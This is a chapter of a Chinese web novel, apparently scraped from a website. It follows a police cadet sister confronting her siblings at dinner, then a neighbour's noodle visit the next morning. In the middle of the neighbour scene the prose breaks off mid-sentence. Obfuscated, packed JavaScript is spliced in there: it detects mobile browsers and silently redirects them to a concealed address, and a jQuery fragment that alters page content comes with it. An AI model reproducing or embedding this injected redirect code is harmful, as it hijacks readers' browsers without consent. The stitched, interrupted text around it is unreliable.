阮云琛比正常放假晚了一个月才回到家。


    原因不为别的，而是因为期末前未经得审批就擅自离校。


    期末结束后，她被留校一个月，每天都在训练场接受严格处罚：队列训练、擒拿格斗、跑步冲刺，循环反复。


    她咬着牙撑过了每一天，体能训练结束后继续写检讨报告，每晚熄灯后才在微弱的床头灯下批改文件或看书。这样的日子持续了整整四周。


    而当她终于踏进家门时，正是一个阴云密布的清晨。淼淼和阮秋早早地站在楼下，远远看见她提着行李箱走来。


    她的步伐不紧不慢，眉眼里带着惯常的沉静，唯一不同的是，她的脸上少了一分柔和，多了一分压抑的冷意。


    淼淼看到她时愣了一下，下意识地往后缩了缩。阮秋站在她旁边，嘴唇动了动，最终什么都没说，只是迎了上去想接过她的行李。


    “用不着。”阮云琛抬手挡开了他的动作，目光平静地扫过两人，“回去再说。”


    饭桌上气氛很安静，安静得连筷子碰碗的声音都显得刺耳。


    阮云琛坐在桌子的一端，右手的筷子在米饭碗边轻轻敲了几下，没夹菜，也没动饭。她的目光停在阮秋和淼淼身上，没有发问，也没有责备，只是静静地看着他们，像是在等他们开口。


    淼淼缩在椅子上，头低得几乎要埋进碗里。她握着筷子的手微微发抖，最后咬着牙抬起头：“姐……”


    “别叫我。”阮云琛淡淡地打断，声音不大，却像一柄刀直刺人心。


    她的视线转向阮秋，语气平静到让人发冷：“上个月究竟是怎么回事？”


    空气静得像凝固了一样。


    阮云琛坐在桌边，目光落在阮秋的脸上，没有愤怒，也没有责备，只有一种冷静到刺骨的压迫感。


    她的筷子垂在手里，敲在碗沿上发出一声轻响，像是时间被轻轻撕裂。


    阮秋的手停在半空，最后缓缓放下。他低着头，声音低哑：“没什么好瞒的。我看着淼淼，她没事。”


    “没事？”阮云琛笑了一声，声音却冷得让人发颤，“你觉得没事，就真的是没事了？”


    淼淼缩在一旁，手指攥着筷子，连头都不敢抬，整个人像是被钉在了椅子上。阮秋抿了抿唇，没有回答，只是倔强地垂着眼，不发一言。


    “你以为你什么都不说，我就看不出来？”阮云琛把筷子放下，声音不大，但带着清晰的金属般的质感，在空旷的饭桌上回荡。那声轻响像是一记闷棍，敲在阮秋的神经上。


    她的目光平静，却像无形的重压，让人无法忽视。


    她盯着阮秋，语气冷得让人发寒：“连电话都不接，连我都不告诉，就这样瞒着我，满城乱跑，一个人去找人......你以为自己是什么救世主？”


    阮秋的肩膀微微一僵，垂在桌下的手紧攥成拳。他的喉咙像被什么堵住了一样，半晌才挤出一句：“我能解决。姐，我不是小孩子了。”


    阮云琛嗤笑了一声，声音冷得像刀，割在空气中：“能解决？瞒着我，就是你所谓的‘解决’？”


    她微微向前倾了身，双手撑在桌沿上，目光像利刃一样落在阮秋身上：“你知道那是什么地方吗？你知道那里会有什么人吗？如果真出了事，你拿什么解决？”


    阮秋的呼吸停滞了一瞬，仿佛连反驳的力气都被抽空了。他低着头，嘴唇紧抿，脸上的线条绷得死紧。


    淼淼从旁边看着，咬着嘴唇，急急地抬起头：“姐，我——”


    “闭嘴。”阮云琛头也不转，声音低却不容置疑。


    淼淼缩了缩脖子，想要开口的声音又硬生生咽了回去。


    “我没想让你知道，”阮秋突然抬起头，声音低哑却带着一丝被压抑到极点的情绪，“不是因为我想瞒你，而是因为我不想让你担心！你每天都已经够累了，管着这么多事，我只是不想——”


    “你不想什么？”阮云琛的声音骤然冷了几分，打断了他，“不想我担心，不想让我管？阮秋，你觉得我在做什么？我就是为了‘不担心’才跑回淮龙的吗？”


    阮秋的眼神有些闪烁，但更多的是压抑的愤怒。他张了张嘴，声音压得低低的：“你觉得我想让她跑？你觉得我不紧张？我找了整整一晚上，我甚至都没想过——”


    他忽然顿住，像是有什么东西卡在喉咙里，说不下去了。


    “甚至没想过什么？”阮云琛冷冷盯着他，“没想过告诉我？没想过我会担心？”


    “我不想让你担心！”阮秋的声音终于失控，像是一道闸口被打开，所有积攒的情绪一瞬间涌了出来，“你每天都已经够累了！为了这个家，天天为了我们操心，我不想让你再多操心了，行不行？”


    “行。”阮云琛冷冷地答了一声，眼神依旧冰冷，“你不想让我操心，结果呢？结果就是淼淼跑去桥洞，半夜失联，你自己像个没头苍蝇一样乱撞？这就是你所谓的‘不让操心’？”


    “那你以为我该怎么做！”阮秋站了起来，声音因为压抑的愤怒而发颤，“告诉你，让你立刻扔下学校的事跑回来，然后挨处分？姐，我知道你想管，可你管得了所有吗？”


    阮云琛的眼神陡然一冷，声音低得像刀子：“你觉得我管不了所有，那你能管得了？你以为你能扛住所有事，不需要告诉我？”


    “我只是……”阮秋的声音忽然低了下来，眼神里带着痛楚，“我只是想证明，我能行。我能照顾好她，我能帮你分担……”


    “分担？”阮云琛猛地站起身，椅子在地板上划出刺耳的声音。她的语气冷得像冰，“你觉得分担是靠瞒着我、自己硬撑？”


    她盯着他，声音微微发颤，却冷静得让人害怕：“我最怕的不是你失败，而是你连让我知道的机会都不给，就擅自决定一切。你有没有想过，我回来晚一步会看到什么？”


    “你回来晚一步，也不一定会出事！”阮秋回击，声音带着一丝颤抖。他的目光不再回避，直直对上她，像是在努力证明什么。


    “也不一定？”阮云琛冷笑了一声，目光锋利得像是刀，“阮秋，你什么时候变得这么天真？”


    她向前一步，逼近了他。他的肩膀微微绷紧，嘴唇抿成了一条线，但没有后退。


    “我会保护好淼淼的。”他开口，声音里带着一丝倔强，仿佛这一句话能堵住她所有的指责。


    阮云琛没有立即回答。她盯着他的脸，眉头轻轻皱了一下，像是在斟酌措辞，又像是在压抑某种情绪。


    “可你呢？”她的声音压低了些，轻得像是落在空气里，却比刚才更加锐利，“谁来保护你？”


    阮秋怔住了。


    阮秋没有想到会听到这样一句话。他的嘴唇动了一下，却没有发出声音。喉结上下滚动了一下，像是有些什么卡在喉咙里，无法吐露。


    “你总说自己你能扛，”阮云琛的语气平静下来，甚至带着一点淡淡的疲惫，“可你有没有想过，你扛不住的时候怎么办？你觉得我是谁？你觉得这个家是谁在撑着？”


    她没有再逼近，反而后退了一步，直起身，语气里多了几分冷静的刺意：“淼淼需要你，我也需要你。如果有一天你倒下了，谁还能站得住？”


    房间里陷入死寂。


    阮秋垂着头，手在桌下紧攥成拳，指节泛白。他低低地开口，声音里像是被某种情绪撕裂了一样：“对不起……”


    “不是对不起。”阮云琛打断他，声音缓了些，却依旧带着不容置疑的力量，“我们是家人，我需要你，也需要淼淼，而你们......我希望你们也需要我。”


    她的目光只是停在阮秋脸上，冷静得没有一丝波澜，但比任何指责都更让人无地自容。


    “以后不许再这样。”她说。


    阮秋抬起头，看着她，像是第一次真正看清了她的表情——那不是愤怒，而是一种极力掩饰的恐惧和疲惫。


    “姐，我……”他张了张嘴，声音卡在喉咙里。


    阮云琛没有再看他，拿起筷子，低头夹了一口菜，声音淡淡的：“吃饭。”


    饭桌上只剩下碗筷清脆的碰撞声。阮云琛没有再看阮秋，也没有再说话，只是低头夹起一口凉掉的菜，慢慢咀嚼，仿佛刚才的一切从未发生。


    阮云琛也没想着和阮秋吵。


    可压在心中的怒火总是息不灭，那说不上来的恐慌一波顶着一波，即便阮秋和淼淼真的没有事情，自责却也几乎淹没了她。


    她很少这样，像是被什么抓住了咽喉，无法呼吸。冷静和理智本该是她的保护壳，可今天，这些东西似乎全都失效了。


    从田家庄到淮龙，再从淮龙回警校，随后压了一个月又二十天，再次从那儿回到这里。


    阮云琛脑子里转过的画面太多，乱七八糟，没一个让人安心。她总是习惯把最坏的可能性放在心里反复掂量，可那些情景实在太糟糕，糟糕到连她自己都不敢细想。


    ——阮秋也是。


    她抬眼看了他一眼，那个少年人垂着头，肩膀线条紧绷，手指无意识地扣着桌沿。


    他平静得过了头，仿佛刚才的事情从未发生过。他习惯了掩饰自己，可阮云琛却太熟悉他了——越是这样平静，他心里就越乱。


    他才十六岁。一个还没成年的男孩，凭什么承担这些？


    他懂什么？


    要怎么保护人，怎么应对那些意外？


    阮云琛想开口，却又哽住了。


    愤怒在胸腔里翻腾，带着一种难以言喻的疲惫和压抑。


    她为什么不在？如果她早一点回来，淼淼会跑掉吗？阮秋会做这种糟糕的决定吗？


    她如果没有擅自离开家，淼淼会这么胡思乱想吗？


    其实阮云琛早就知道，根源并不在他们身上，而在她自己。


    是她选择了离开，选择了把责任丢给一个尚未成年的弟弟。可她无法原谅自己，也无法原谅他们的疏忽。


    阮云琛闭了闭眼，胸腔里的那团火似乎烧得更旺了些。她伸手拿起筷子，夹了一口菜，却发现味道淡得几乎没有。


    桌边的淼淼轻轻动了一下，像是想开口，但最终只是抬起头看了阮秋一眼，又低下了头。她的手指紧攥着筷子，青白的指节在昏黄的灯光下显得格外突兀。


    阮秋坐在那里，手里的筷子已经停下，盯着碗底没有动。他的肩膀微微垂着，像是一块石头压在背上，始终无法舒展。


    “吃完了就收拾。”阮云琛的声音打破了沉寂，语气淡得听不出情绪，“然后早点睡觉。”


    她站起身，把筷子放回碗边，手撑在椅背上顿了一下，随后直起身，转身走向自己的房间。


    阮秋站在水槽前，手下的动作机械而僵硬。水流冲刷着碗盘，发出单调的噪音，像是在逼迫人去思考，却让一切更加无处可逃。


    阮秋放下手里的碗，侧过身看着她。厨房的灯光从他的脸上滑过，将阴影压在他的眉眼之间。


    他的目光落在淼淼红肿的眼睛上，停了很久，最后只是叹了口气，轻轻伸手揉了揉她的头发。


    “别想太多。”他说，“姐只是担心。”


    淼淼轻轻“嗯”了一声。


    阮云琛坐在床边，窗外的风卷着远处的灯火，一闪一灭，像是被压在夜色里的暗涌。


    她没有开灯，只是在黑暗中盯着窗外的高楼，目光沉沉的，像是透过这些建筑看到了更远的地方。


    房间里很静，只能听见风偶尔掠过窗棂的低鸣。


    阮云琛推开门，反手把门带上，没有开灯。光线从窗帘的缝隙透进来，在地板上洒下一道浅浅的亮色。她站在门边，伸手摸了摸开关，却没有按下。


    她靠在门板上，长长地呼出一口气。


    刚才饭桌上的情景在脑海里一遍又一遍地回放。淼淼红着眼睛，低着头攥着筷子的模样，阮秋攥紧拳头、眼眶泛红却不肯退让的表情——她把每一个细节都记得清清楚楚。


    她是不是......要求太多了？


    软因此慢慢走到窗边，拉开窗帘一角，看着外面的夜色。


    远处的路灯在风里摇晃，街道上已经没有人影，只有零星的几辆车在路上缓缓驶过。她的目光顺着灯光的轨迹移动，最后停在楼下的小路上。


    淼淼的倔强，阮秋的坚持，一遍又一遍地在脑海里重现。阮云琛的指尖在窗框上轻轻敲了一下，仿佛想要打破某种无声的僵局。


    她是不是忽略了淼淼太多？


    她还小，才十一岁，就已经要面对同学的好奇、父母缺席的空白。这种压力本不该是一个孩子承受的。


    阮秋也明明才十六岁，却总想着自己能扛住所有的事。


    阮云琛闭上眼，手撑在窗框上，指尖轻轻用力，压得关节有些发白。


    她转过身，拉开床头的抽屉，取出一本放了许久的书。


    书的封面已经有些褪色，是她高考完之后买的，里面夹着几张零散的笔记。她随手翻开一页，想要看下去，却发现字迹模糊得让人无从集中注意力。


    手指翻到第三页时微微颤了一下。她停了住，盯着那张纸，半晌后合上书，把它放回原处。


    她坐在床边，盯着墙上的钟表出神。


    指针缓缓移动，发出一声又一声轻微的“滴答”声，在夜里显得格外清晰。她的手肘撑在膝盖上，手指轻轻揉着眉心，试图驱散头脑中的混乱。


    即便是这般的争吵，第二天还是得共同迎接初升的太阳。


    隔天一早，急促的敲门声就响起来了，紧随着的就是塑料袋摇晃的声音：“哎！小秋，小秋，在家吧？给哥哥开个门！”


    阮秋刚收拾好桌上的卷子，听到声音皱了皱眉，手上动作顿了顿。他走到门口，拉开一条缝，探头往外瞧了一眼，立刻眉头就飞得有三尺高：“怎么是你？”


    胖子笑得跟朵花儿似的：“听说你姐回来了，我特意过来拜访拜访。”


    阮秋眉头一皱，也不知哪儿来的火气，飞快


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178240|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就冒上来了：“那您消息可真灵通。”


    胖子“嘿嘿”一笑：“你怎么知道我最近买了小灵通。”


    他说着，提起了手里的四兜子塑料袋，每个塑料袋里都装着纸碗，里头是红红的汤和一大坨粉，袋子口透着股若有似无得恶臭：“看，我还给你们带了螺蛳粉，咱家招牌！”


    阮秋的目光扫了一眼塑料袋，眉头一拧：“我家就三个人，带四碗干什么？”


    “我也要吃啊。”胖子理直气壮地晃了晃手里的袋子，“难道我提着过来还不留一碗给自己？做人得实在点，弟弟。”


    阮秋没好气地撇了撇嘴，侧了侧身，把门开了一半：“你非得跑我家里吃？”


    胖子一脚踏进门，毫不见外地笑：“你家地方大呗，坐着舒服！再说了，阮妹妹回来了，我这算是给老邻居捧场。”


    阮秋冷笑了一声，抬手指了指门口：“那你站着捧，我没说让你进来。”


    胖子不理他，已经用肩膀拱开了他，自顾自地走到餐桌旁，把袋子往桌上一搁，动作熟练得像是回了自己家。


    他拉开椅子坐下，一边解开袋口，一边冲阮秋挑眉：“哎，说真的，你就不能学学你姐，靠谱点，别老给哥甩脸子。”


    “我看你是上赶着想挨我姐骂。”阮秋靠在门框上，冷冷地盯着他。


    胖子压根不接话，打开盒盖，一股酸辣味弥漫开来。他吸了吸鼻子，满脸享受：“啧，不愧是我的独门配方，绝了！”


    他说着，也不等人上齐了桌再开饭，直接就低头扒拉了两下，又抬头看阮秋，嘴角挂着一丝笑：“你也别老绷着，吃点螺蛳粉消消火。”


    阮秋翻了个大白眼。


    胖子啧了一声，摆摆手：“行了吧，别装冷淡了。你要是真不欢迎，还能让我上来？别嘴硬，赶紧过来坐下，吃了这碗粉再说话。”


    阮秋不想理他，只冷哼了一声，正好这时，房间门开了。


    那房间本就是客厅的一部分，原本只是用帘子拦了下，后来廖致远在难得的休息日，拎了几包砖头水泥和腻子，愣是自己给砌了个隔板出来。


    房间门也就是前不久给装上的，阮云琛昨天回来还懵了一下——要不是刚跟阮秋吵完架尴尬着，否则她就要开口问了。


    客厅的两人同时转头，看到阮云琛走了出来。她手里拿着一本极厚的书，脸上看不出情绪。


    胖子立刻坐直了些，露出一副热情又谨慎的笑：“哎呀，阮妹妹！我就说你回来了，给你们都带点吃的，快来吃，趁热！”


    阮云琛一愣，瞥了一眼那飘着酸辣香味的袋子，眼睛有些发直：“螺蛳粉？”


    胖子立刻坐直了些，脸上的笑容像打开了开关：“对啊！我特意给你们带的，还热乎着呢！这可是头一锅。”


    阮云琛又在门边滞了会儿，才说了声“谢谢”。


    阮秋一听就不乐意了，他也不知道自己哪根神经搭了错，讲话压根不想过脑，小声嘟囔了句：“他怎么不直接把摊子都给搬家里来。”


    再小的声音也给胖子听着了。他咽下粉，抬头瞥了他一眼，笑得一脸得意：“怎么着？不欢迎？”


    被胖子戳穿不可怕，可怕的是被胖子挡着阮云琛的面戳穿，并且昨个儿还吵完架说自己能独当一面，今天就跟个真正的小孩似的在这拌嘴。


    阮秋忍不住用余光偷偷瞧阮云琛，却只见她她拿了三双筷子和四只勺，分了两只给他：“给胖哥也拿一只去。”


    胖子的脸埋在碗里，眼睛倒是没闲着。他左看看又右看看，忽地“噗嗤”一笑，冲阮秋眨了眨眼：“你小子，想你姐就直说啊，老偷偷看做什么。”


    这句话像根刺，直扎进阮秋的神经。他抬头，目光冷冷地剜了胖子一眼，手里的勺子“啪”地一下插进胖子的碗里，力道大得汤水都溅了出来：“吃你的吧！”


    胖子吓一跳，嘴里刚吸进去的粉差点呛住，他瞪大了眼睛，随即哈哈大笑：“哟！还炸毛了！行行行，我吃，我吃——”


    淼淼被吵了醒，从卧室探出个脑袋，双手抱着枕头，一脸不高兴。她揉着眼睛，声音里带着点鼻音：“吵什么啊……一大早的。”


    胖子见她，立刻放下碗，抬手招呼：“哟，淼淼丫头，快来快来，叔叔给你带了粉！酸辣的，保证你喜欢！”


    “去你的叔叔，怎么还带升辈的？”阮秋骂了一句。


    “哎呀，我这不也二十四了嘛，可不得叫叔叔了嘛。”胖子没被激着，就笑了笑，挠了挠头，嘴里头还含着一口粉，讲起话来含混不清的。


    他的声音最终被螺蛳粉的汤水盖了过去。淼淼抱着枕头坐下，含着鼻音问了一句“我姐呢？”，没等阮秋回答，就转头扎进了碗里。


    阮秋捏了捏鼻梁，余光瞥见阮云琛已经起身进了厨房，开始收拾剩下的几个碗。他听见水龙头的声音哗啦啦地响，又听见胖子和淼淼在争论粉汤里到底有没有“加料”的问题。


    “没有就是没有！你这丫头也太不信人了！”胖子嚷嚷得声音都破了。


    阮秋没有参与这场闹剧。他盯着桌上的那双筷子看了很久，直到阮云琛从厨房出来，把毛巾甩到他的肩上：“把桌子擦了，别让粉汤留味儿。”


    他应了一声，动作慢得像一台迟钝的机器。


    胖子和淼淼一直闹到了中午，终于在淼淼抱着胖子的塑料袋宣布“下次还要吃”时结束了这场小型闹剧。


    胖子带着剩下的空碗走了，阮云琛关门的声音不大，但却像在屋子里落下了一颗石子。


    “别发呆了，”阮云琛瞥了阮秋一眼，随手把一叠册子放到茶几上，“淼淼的暑假作业没做完，你帮她盯着点。”


    阮秋把毛巾往椅背上一扔，眉头皱得更紧：“暑假才刚开始，你就盯着作业？”


    阮云琛没理他，只是淡淡地说了一句：“早点做完，后头轻松。”


    说完转身进了书房。


    阮秋站在客厅里，看着茶几上那叠试卷发了会儿呆。


    窗外的蝉声渐渐盖过了楼道里的脚步声，他低头看了一眼手机上的时间，六月的数字显得扎眼，屏幕的倒计时显示离高考还有整整一年。


    阮秋抬手把茶几上自己的卷子推到一边，拿起了淼淼的暑期作业。背影映在窗台的光里，有些单薄，但却带着少年人特有的执拗。


    入夏的雨下得沉闷，阮秋坐在书桌前，盯着摊开的模拟试卷，笔尖在最后一道大题上顿住。他的脑袋有些发空，目光却不由自主地落到门缝里透出的那点光。


    阮云琛在房间里。


    她房间的灯总是亮到很晚，桌上的案卷堆成一座小山。阮秋知道她在做什么，也知道她忙到什么时候才会关灯。


    这一切仿佛成了某种惯性。就像墙上的时钟，每一秒的指针都在提醒他，高考越来越近，而她的脚步却始终稳得像从未停过。


    “姐，我们能聊聊吗？”


    阮秋犹豫了好几个晚上，终于敲响了阮云琛的房门。